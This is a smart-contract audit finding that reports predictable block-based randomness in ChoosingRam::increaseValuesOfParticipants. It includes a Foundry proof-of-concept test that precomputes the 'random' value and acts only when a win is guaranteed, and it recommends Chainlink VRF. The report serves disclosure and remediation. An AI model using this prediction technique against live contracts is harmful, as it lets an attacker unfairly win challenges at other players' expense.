Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

User can game the system to always win.

Summary

The function ChoosingRam::increaseValuesOfParticipants in the ChoosingRam contract utilizes block parameters (block.timestamp, block.prevrandao, and msg.sender) to generate a random number for determining the winner of a challenge. These values are deterministic and can be predicted by an attacker, allowing them to exploit the system to always win challenges by timing their transactions appropriately.

Vulnerability Details

Function Affected: ChoosingRam::increaseValuesOfParticipants

Parameters Used for Randomness: block.timestamp, block.prevrandao, msg.sender

Issue: The values used to generate the random number are publicly accessible and predictable, enabling attackers to forecast the random number outcome.

Exploitation: By monitoring the block parameters and timing their transactions, attackers can predict the random number and ensure they win the challenge consistently.

POC

function test_increaseValuesOfParticipants2() public participants {
uint256 blockNumber = 1;
// Prepare attack
uint256 loop = 0;
do {
// Update block
loop++;
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
// Precalculate random
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
if (random == 0) {
vm.startPrank(player1);
choosingRam.increaseValuesOfParticipants(0, 1);
vm.stopPrank();
break;
}
} while (loop < 100);
assertEq(ramNFT.getCharacteristics(0).isJitaKrodhah, true);
}

Impact

The vulnerability significantly undermines the fairness of the challenge system, as attackers can manipulate the random number generation to guarantee their victories.

Tools Used

Manual Review

Recommendations

To mitigate this vulnerability, it is crucial to use a more secure method for generating random numbers. One common approach is to utilize a secure oracle service like Chainlink VRF (Verifiable Random Function), which provides tamper-proof randomness.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
contract ChoosingRam is VRFConsumerBaseV2 {
VRFCoordinatorV2Interface COORDINATOR;
uint64 s_subscriptionId;
bytes32 keyHash;
constructor(address vrfCoordinator, bytes32 _keyHash, uint64 subscriptionId, address _ramNFT)
VRFConsumerBaseV2(vrfCoordinator)
{
COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
keyHash = _keyHash;
s_subscriptionId = subscriptionId;
isRamSelected = false;
ramNFT = RamNFT(_ramNFT);
}
function requestRandomNumber() external {
COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
3, // Request confirmations
200000, // Callback gas limit
1 // Number of random words
);
}
function fulfillRandomWords(uint256, uint256[] memory randomWords) internal override {
uint256 randomResult = randomWords[0];
// Use the randomResult for your application logic
}
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.